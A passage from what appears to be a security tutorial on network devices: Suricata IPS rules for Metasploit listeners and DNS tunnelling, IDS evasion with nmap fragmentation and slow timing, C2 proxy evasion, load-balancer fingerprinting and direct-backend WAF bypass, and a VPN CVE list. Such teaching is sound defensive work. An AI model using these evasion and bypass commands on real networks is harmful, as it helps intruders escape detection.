&lt;span class="nb"&gt;sudo &lt;/span&gt;suricata &lt;span class="nt"&gt;-c&lt;/span&gt; /etc/suricata/suricata.yaml &lt;span class="nt"&gt;-q&lt;/span&gt; 0
&lt;span class="c"&gt;# All forwarded traffic → queue 0 → Suricata → allow/drop&lt;/span&gt;

&lt;span class="c"&gt;# View Suricata alerts (JSON format):&lt;/span&gt;
&lt;span class="nb"&gt;sudo tail&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; /var/log/suricata/eve.json | python3 &lt;span class="nt"&gt;-m&lt;/span&gt; json.tool

&lt;span class="c"&gt;# Write a custom Suricata rule:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /etc/suricata/rules/local.rules &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
# Alert on connection to known Metasploit default port
alert tcp &lt;/span&gt;&lt;span class="nv"&gt;$HOME_NET&lt;/span&gt;&lt;span class="sh"&gt; any -&amp;gt; any 4444 (msg:"Possible Metasploit Listener"; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    flow:established,to_server; sid:9999001; rev:1;)

# Alert on large DNS TXT responses (DNS tunnelling indicator)
alert dns any any -&amp;gt; any any (msg:"Large DNS TXT Response - Possible Tunnel"; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    dns.type:response; dns.rrtype:TXT; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    byte_test:2,&amp;gt;,200,0,relative; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    sid:9999002; rev:1;)
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart suricata
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.4 IDS Evasion Techniques
&lt;/h3&gt;

&lt;p&gt;Understanding evasion is essential both for offensive assessments and for improving defensive detections.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Fragmentation evasion:&lt;/span&gt;
&lt;span class="c"&gt;# Split attack payload across multiple small IP fragments&lt;/span&gt;
&lt;span class="c"&gt;# Some IDS inspect fragments individually, miss attack that only appears after reassembly&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; target_ip              &lt;span class="c"&gt;# 8-byte fragments&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;--mtu&lt;/span&gt; 16 target_ip       &lt;span class="c"&gt;# 16-byte fragments&lt;/span&gt;

&lt;span class="c"&gt;# Low-and-slow evasion:&lt;/span&gt;
&lt;span class="c"&gt;# Spread attack over long time to avoid volume-based detection&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-T0&lt;/span&gt; target_ip                &lt;span class="c"&gt;# Paranoid timing — one packet every 5 minutes&lt;/span&gt;
&lt;span class="c"&gt;# Baseline: "50 unique ports per minute" → T0 evades this threshold&lt;/span&gt;

&lt;span class="c"&gt;# Protocol confusion:&lt;/span&gt;
&lt;span class="c"&gt;# Use non-standard protocol fields to confuse IDS&lt;/span&gt;
&lt;span class="c"&gt;# TTL manipulation: send two packets to same port&lt;/span&gt;
&lt;span class="c"&gt;# Packet 1: TTL=1 (dies at first hop, IDS sees it but target doesn't)&lt;/span&gt;
&lt;span class="c"&gt;# Packet 2: TTL=128 (reaches target)&lt;/span&gt;
&lt;span class="c"&gt;# IDS may reassemble including Packet 1, target only processes Packet 2&lt;/span&gt;
&lt;span class="c"&gt;# Result: IDS sees different data than target processes&lt;/span&gt;

&lt;span class="c"&gt;# Encrypted channels:&lt;/span&gt;
&lt;span class="c"&gt;# Use HTTPS, TLS, SSH tunnels for C2&lt;/span&gt;
&lt;span class="c"&gt;# IDS without TLS inspection is blind to encrypted payload&lt;/span&gt;
&lt;span class="c"&gt;# Cobalt Strike, Covenant C2 use HTTPS beaconing for this reason&lt;/span&gt;

&lt;span class="c"&gt;# Polymorphic shellcode:&lt;/span&gt;
&lt;span class="c"&gt;# Shellcode that changes its signature with each generation&lt;/span&gt;
&lt;span class="c"&gt;# Signature-based IDS cannot match a pattern that changes&lt;/span&gt;
&lt;span class="c"&gt;# XOR encoding, RC4 encryption of payload at different keys each run&lt;/span&gt;

&lt;span class="c"&gt;# Protocol mimicry:&lt;/span&gt;
&lt;span class="c"&gt;# Make C2 traffic look like legitimate protocol traffic&lt;/span&gt;
&lt;span class="c"&gt;# Cobalt Strike "Malleable C2 profiles" make beacon traffic look like&lt;/span&gt;
&lt;span class="c"&gt;# Google Analytics, Amazon CloudFront, or any web service&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;IPS Bypass — The False Positive Problem:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IPS bypass via false positive exploitation:
  If IPS blocks traffic matching signature X
  Attacker sends traffic that triggers signature X against legitimate servers
  IPS starts blocking legitimate servers from communicating
  Defenders disable the rule to restore service
  Attacker then uses the attack technique freely

This is a known attack against IPS deployments.
Well-tuned false positive rates are a security requirement, not just operational.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; An IDS that generates thousands of alerts per day is effectively useless — no human can investigate them all. Alert fatigue causes analysts to ignore or dismiss alerts, missing the real attacks buried in the noise. Tuning the IDS to minimise false positives while maintaining detection of high-priority attacks is one of the most important and most neglected security engineering tasks.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  6. Proxy Servers
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 Forward Proxy — Outbound Traffic Control
&lt;/h3&gt;

&lt;p&gt;A forward proxy sits between clients and the internet. Clients send requests to the proxy; the proxy forwards them to the destination on behalf of the client.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WITHOUT PROXY:
  Client → Direct connection → Internet destination
  Destination sees: client's real IP
  Administrator sees: nothing (traffic bypasses corporate infrastructure)

WITH FORWARD PROXY:
  Client → Proxy → Internet destination
  Destination sees: proxy's IP (client IP hidden)
  Proxy logs: who requested what, when, response size
  Administrator can: enforce content filtering, scan for malware, decrypt TLS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Forward Proxy Security Functions:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Content Filtering:
  Block access to categories: malware, adult, gaming, social media
  Block specific domains or URLs
  Block file types (.exe, .js, .ps1 downloads)

URL Reputation:
  Check destination URL against threat intelligence feeds
  Block connections to known malicious domains
  Detect connections to DGA (Domain Generation Algorithm) domains

TLS Inspection:
  Client → [TLS to proxy] → Proxy decrypts → [TLS to destination]
  Proxy sees plaintext, can inspect for malware/exfiltration
  Requires installing proxy's CA certificate as trusted in all clients

Bandwidth Control:
  Rate-limit streaming services
  Throttle large downloads

Authentication:
  Require users to authenticate before internet access
  Tie internet access to user identity (NTLM, Kerberos, LDAP)

Malware Scanning:
  Scan downloaded files in real-time with antivirus
  Sandbox suspicious files before delivering to client
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Proxy Security Implications — Attacking Through Proxies:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# C2 traffic designed to evade proxy:&lt;/span&gt;
&lt;span class="c"&gt;# 1. Use HTTPS (proxy without TLS inspection is blind)&lt;/span&gt;
&lt;span class="c"&gt;# 2. Communicate to legitimate domains (Google Docs, GitHub, Slack)&lt;/span&gt;
&lt;span class="c"&gt;#    as dead-drops for C2 instructions&lt;/span&gt;
&lt;span class="c"&gt;# 3. Domain fronting: use legitimate CDN as the visible destination,&lt;/span&gt;
&lt;span class="c"&gt;#    actually communicate with attacker backend&lt;/span&gt;

&lt;span class="c"&gt;# Configure proxy for curl (common in post-exploitation):&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;http_proxy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"http://proxy.company.com:8080"&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;https_proxy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"http://proxy.company.com:8080"&lt;/span&gt;
curl https://example.com

&lt;span class="c"&gt;# Bypass proxy for specific destinations:&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;no_proxy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"10.0.0.0/8,192.168.0.0/16,localhost"&lt;/span&gt;

&lt;span class="c"&gt;# Proxychains — route tool traffic through proxy chain:&lt;/span&gt;
&lt;span class="c"&gt;# /etc/proxychains.conf:&lt;/span&gt;
&lt;span class="c"&gt;# socks5 127.0.0.1 9050    ← Tor&lt;/span&gt;
&lt;span class="c"&gt;# socks5 192.168.1.100 1080 ← SSH SOCKS proxy&lt;/span&gt;
proxychains nmap &lt;span class="nt"&gt;-sT&lt;/span&gt; target_ip     &lt;span class="c"&gt;# Proxied Nmap&lt;/span&gt;
proxychains curl http://target/    &lt;span class="c"&gt;# Proxied curl&lt;/span&gt;

&lt;span class="c"&gt;# Detect proxy in environment:&lt;/span&gt;
&lt;span class="nb"&gt;env&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; proxy                    &lt;span class="c"&gt;# Check proxy environment variables&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/environment | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; proxy  &lt;span class="c"&gt;# System-wide proxy&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/apt/apt.conf.d/proxy.conf    &lt;span class="c"&gt;# APT proxy&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.2 Reverse Proxy — Inbound Traffic Control
&lt;/h3&gt;

&lt;p&gt;A reverse proxy sits in front of servers. External clients connect to the reverse proxy; the reverse proxy forwards requests to backend servers. Clients see only the reverse proxy's IP.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WITHOUT REVERSE PROXY:
  Internet → Direct connection → Web Server (IP exposed)
  Attacker can: directly target web server IP
  DDoS: send attack directly to server

WITH REVERSE PROXY:
  Internet → Reverse Proxy → Web Server(s) (IP hidden)
  Attacker sees: only reverse proxy IP
  Web server IP: hidden, protected
  Reverse proxy provides: TLS termination, load balancing, WAF, DDoS protection
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Nginx as Reverse Proxy:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="c1"&gt;# /etc/nginx/sites-available/reverse_proxy&lt;/span&gt;
&lt;span class="k"&gt;server&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kn"&gt;listen&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt; &lt;span class="s"&gt;ssl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;server_name&lt;/span&gt; &lt;span class="s"&gt;app.company.com&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;# TLS configuration&lt;/span&gt;
    &lt;span class="kn"&gt;ssl_certificate&lt;/span&gt; &lt;span class="n"&gt;/etc/ssl/certs/company.crt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;ssl_certificate_key&lt;/span&gt; &lt;span class="n"&gt;/etc/ssl/private/company.key&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;ssl_protocols&lt;/span&gt; &lt;span class="s"&gt;TLSv1.2&lt;/span&gt; &lt;span class="s"&gt;TLSv1.3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;ssl_ciphers&lt;/span&gt; &lt;span class="s"&gt;ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;# Security headers&lt;/span&gt;
    &lt;span class="kn"&gt;add_header&lt;/span&gt; &lt;span class="s"&gt;Strict-Transport-Security&lt;/span&gt; &lt;span class="s"&gt;"max-age=31536000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kn"&gt;includeSubDomains"&lt;/span&gt; &lt;span class="s"&gt;always&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;add_header&lt;/span&gt; &lt;span class="s"&gt;X-Frame-Options&lt;/span&gt; &lt;span class="s"&gt;DENY&lt;/span&gt; &lt;span class="s"&gt;always&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;add_header&lt;/span&gt; &lt;span class="s"&gt;X-Content-Type-Options&lt;/span&gt; &lt;span class="s"&gt;nosniff&lt;/span&gt; &lt;span class="s"&gt;always&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;# Rate limiting&lt;/span&gt;
    &lt;span class="kn"&gt;limit_req&lt;/span&gt; &lt;span class="s"&gt;zone=api&lt;/span&gt; &lt;span class="s"&gt;burst=20&lt;/span&gt; &lt;span class="s"&gt;nodelay&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;# Proxy to backend&lt;/span&gt;
    &lt;span class="kn"&gt;location&lt;/span&gt; &lt;span class="n"&gt;/&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kn"&gt;proxy_pass&lt;/span&gt; &lt;span class="s"&gt;http://backend_servers&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kn"&gt;proxy_set_header&lt;/span&gt; &lt;span class="s"&gt;Host&lt;/span&gt; &lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kn"&gt;proxy_set_header&lt;/span&gt; &lt;span class="s"&gt;X-Real-IP&lt;/span&gt; &lt;span class="nv"&gt;$remote_addr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kn"&gt;proxy_set_header&lt;/span&gt; &lt;span class="s"&gt;X-Forwarded-For&lt;/span&gt; &lt;span class="nv"&gt;$proxy_add_x_forwarded_for&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="c1"&gt;# Don't expose backend server information:&lt;/span&gt;
        &lt;span class="kn"&gt;proxy_hide_header&lt;/span&gt; &lt;span class="s"&gt;Server&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kn"&gt;proxy_hide_header&lt;/span&gt; &lt;span class="s"&gt;X-Powered-By&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;# Block common attack paths:&lt;/span&gt;
    &lt;span class="kn"&gt;location&lt;/span&gt; &lt;span class="p"&gt;~&lt;/span&gt;&lt;span class="sr"&gt;*&lt;/span&gt; &lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;.(php|asp|aspx|jsp)&lt;/span&gt;$ &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kn"&gt;deny&lt;/span&gt; &lt;span class="s"&gt;all&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;# Block if using Node.js backend (no PHP expected)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Transparent Proxy:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A transparent proxy intercepts traffic without client knowledge or configuration. Used by:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ISPs for caching&lt;/li&gt;
&lt;li&gt;Corporate networks for content filtering even when clients aren't configured to use proxy&lt;/li&gt;
&lt;li&gt;Attackers with MITM position (evil twin AP, ARP poisoning)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Detect if you're behind a transparent proxy:&lt;/span&gt;
curl &lt;span class="nt"&gt;-v&lt;/span&gt; http://httpbin.org/ip        &lt;span class="c"&gt;# Real IP vs what the server sees&lt;/span&gt;
curl http://httpbin.org/headers      &lt;span class="c"&gt;# Check for X-Forwarded-For header&lt;/span&gt;
&lt;span class="c"&gt;# If server sees different IP than your own: you're behind proxy/NAT&lt;/span&gt;

&lt;span class="c"&gt;# Detect proxy headers revealing internal infrastructure:&lt;/span&gt;
curl &lt;span class="nt"&gt;-v&lt;/span&gt; https://target.com/
&lt;span class="c"&gt;# Look for: Via, X-Cache, X-Forwarded-For, X-Real-IP headers&lt;/span&gt;
&lt;span class="c"&gt;# These can reveal: proxy software, backend server IPs, CDN details&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Forward proxies are among the most effective controls for preventing malware C2 communication — if all outbound traffic must traverse the proxy, malware that makes direct TCP connections is blocked. But sophisticated malware uses HTTPS to legitimate cloud services (GitHub, Google, Slack, Microsoft) as dead-drops, evading even TLS-inspecting proxies. The proxy logs are still valuable for detection — unusual patterns to legitimate domains are detectable with behavioural analysis.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  7. Load Balancers
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 What Load Balancers Do
&lt;/h3&gt;

&lt;p&gt;A load balancer distributes incoming network traffic across multiple backend servers to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Prevent any single server from being overwhelmed&lt;/li&gt;
&lt;li&gt;Provide redundancy (if one server fails, others handle traffic)&lt;/li&gt;
&lt;li&gt;Enable horizontal scaling (add servers to increase capacity)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;LOAD BALANCER OPERATION:

Internet → [Load Balancer: 203.0.113.1] → Web Server 1 (192.168.10.1)
                                        → Web Server 2 (192.168.10.2)
                                        → Web Server 3 (192.168.10.3)

Client sees: one IP (203.0.113.1)
Actual servers: distributed load across backend pool

Load balancing algorithms:
  Round Robin:    Requests distributed sequentially: 1,2,3,1,2,3...
  Least Connections: Send to server with fewest active connections
  IP Hash:       Same client IP always goes to same server (session persistence)
  Weighted:      Servers assigned different traffic proportions (based on capacity)
  Random:        Random server selection
  Health-based:  Only route to healthy servers (monitors backend health)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.2 Load Balancer Security Implications
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;TLS Termination:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Many load balancers terminate TLS:
  Client → [HTTPS] → Load Balancer → [HTTP] → Backend servers

Security implications:
  Positive:
    - Certificate management centralised at load balancer
    - Backend servers don't need TLS processing overhead
    - Load balancer can inspect HTTP content before forwarding

  Negative:
    - Traffic between load balancer and backend: unencrypted
    - If backend network is compromised: all traffic readable
    - Load balancer holds private keys: high-value target

Solution: TLS re-encryption (end-to-end TLS)
  Client → [HTTPS] → Load Balancer → [HTTPS] → Backend
  More overhead but traffic encrypted throughout
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Load Balancer as Attack Vector:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Detect load balancer and identify backend servers:&lt;/span&gt;
&lt;span class="c"&gt;# Method 1: Multiple requests, different server headers&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;1..10&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-I&lt;/span&gt; https://target.com | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"server:&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;x-powered&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;via:"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="c"&gt;# Different responses = load balanced&lt;/span&gt;

&lt;span class="c"&gt;# Method 2: Different Server header or response variations&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-I&lt;/span&gt; https://target.com
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-I&lt;/span&gt; https://target.com
&lt;span class="c"&gt;# If "Server: Apache/2.4.51" then "Server: nginx/1.18.0" → different backends&lt;/span&gt;

&lt;span class="c"&gt;# Method 3: Direct IP access (bypasses load balancer)&lt;/span&gt;
&lt;span class="c"&gt;# If backend IP discovered (via DNS history, SSL cert SAN, subdomain enumeration):&lt;/span&gt;
curl &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Host: target.com"&lt;/span&gt; https://BACKEND_IP/
&lt;span class="c"&gt;# May bypass WAF/load balancer security → direct attack surface&lt;/span&gt;

&lt;span class="c"&gt;# Method 4: Load balancer vendor identification&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; http-headers target.com | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"x-amz&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;x-forwarded&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;x-envoy&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;f5&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;haproxy"&lt;/span&gt;
&lt;span class="c"&gt;# X-Amz-*: AWS Application Load Balancer&lt;/span&gt;
&lt;span class="c"&gt;# X-Envoy-*: Istio/Envoy (Kubernetes)&lt;/span&gt;
&lt;span class="c"&gt;# F5-TrafficShield: F5 BIG-IP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Session Persistence and Security:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"Sticky sessions" (IP hash or cookie-based):
  Same client always routed to same backend server
  Required for stateful applications that don't share session state

Security issue:
  If attacker can predict or control the session cookie:
  They can force their requests to specific backend servers
  Enables targeted attacks against specific backend if one is more vulnerable

Cookie-based persistence attack:
  Load balancer inserts cookie: BIGipServerPool=1234...
  This reveals: load balancer type (BIG-IP), server ID, pool name
  Attackers use this to map backend infrastructure

Solution: Encrypt persistence cookies, use opaque session IDs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Load balancers are high-value targets because they sit in front of all traffic and often hold TLS private keys. Compromising a load balancer means decrypting all HTTPS traffic, bypassing WAF rules, and directly accessing backend servers without going through security controls. Always apply the same security standards (patching, hardening, monitoring) to load balancers as to the servers they protect.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. VPN Gateways
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 VPN Types and Their Security Profiles
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Site-to-Site VPN:&lt;/strong&gt;&lt;br&gt;
Connects two networks permanently. Traffic between the networks flows through an encrypted tunnel. Users are unaware.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Branch Office                    Corporate HQ
192.168.2.0/24 ──[VPN GW]──[Internet]──[VPN GW]── 10.0.0.0/8

All traffic from 192.168.2.0/24 to 10.0.0.0/8:
  → Encrypted in IPSec tunnel
  → Decrypted at HQ VPN gateway
  → Delivered to destination
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Remote Access VPN:&lt;/strong&gt;&lt;br&gt;
Individual users connect to the corporate network from anywhere. Requires VPN client software.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Remote User → [Internet] → [VPN Gateway] → Corporate Network
  Tunnel: IPSec, OpenVPN, WireGuard, SSL VPN
  User assigned: internal IP from VPN address pool
  DNS: corporate DNS for resolution
  Split tunnel: only corporate traffic through VPN, internet direct
  Full tunnel: ALL traffic through VPN (more secure, more load)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.2 VPN Protocols
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IPSec (IKEv2 + ESP):
  Standard: RFC 4306 (IKEv2), RFC 4303 (ESP)
  Ports: UDP 500 (IKE), UDP 4500 (NAT-traversal)
  Encryption: AES-256-GCM typically
  Authentication: certificates, pre-shared key (PSK)
  Use: Enterprise, site-to-site, mobile clients

OpenVPN:
  Standard: Custom protocol over TLS
  Ports: UDP 1194 (default), can be TCP 443 (firewall bypass)
  Encryption: OpenSSL (AES-256-CBC, AES-256-GCM)
  Authentication: certificates, username/password, MFA
  Use: Remote access, privacy VPNs, flexibility
  Advantage: TCP 443 mode makes VPN traffic look like HTTPS

WireGuard:
  Standard: Modern, minimal (~4,000 lines of code vs OpenVPN's 70,000+)
  Port: UDP 51820
  Encryption: ChaCha20-Poly1305, Curve25519
  Authentication: Public key only (no certificate infrastructure)
  Performance: Fastest VPN protocol available (in-kernel on Linux)
  Security: Smaller codebase = smaller attack surface

SSL VPN (clientless):
  Access via HTTPS in browser — no client software
  Uses portal to proxy access to internal resources
  Easier to deploy than IPSec for remote users
  Examples: Pulse Secure, Citrix Gateway, Palo Alto GlobalProtect
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.3 VPN Security Vulnerabilities — A Critical Attack Surface
&lt;/h3&gt;

&lt;p&gt;VPN gateways have been a primary target for sophisticated threat actors. The attack pattern: compromise VPN gateway → gain pre-authentication access to internal network → maintain persistent access.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Pulse Secure VPN (CVE-2019-11510, 2019):
  CVSS: 10.0
  Unauthenticated arbitrary file read
  Read: /etc/passwd, VPN session cookies, authentication logs
  Attackers used to steal: 7,000+ VPN credentials from companies
  APT41 (Chinese group) actively exploited
  Still used in 2021: NSA advisory warned of ongoing exploitation

Citrix ADC/Gateway (CVE-2019-19781, 2020):
  CVSS: 9.8
  Path traversal → RCE without credentials
  Tens of thousands of devices vulnerable
  Multiple APT groups and ransomware operators exploited

Pulse Secure (again, CVE-2021-22893):
  Zero-day exploited before patch available
  Mandiant reported exploitation by UNC2630 and UNC2717 (suspected Chinese APT)
  Victims: US Defence Industrial Base, European companies

Fortinet SSL-VPN (CVE-2022-42475, 2022):
  Heap buffer overflow → RCE
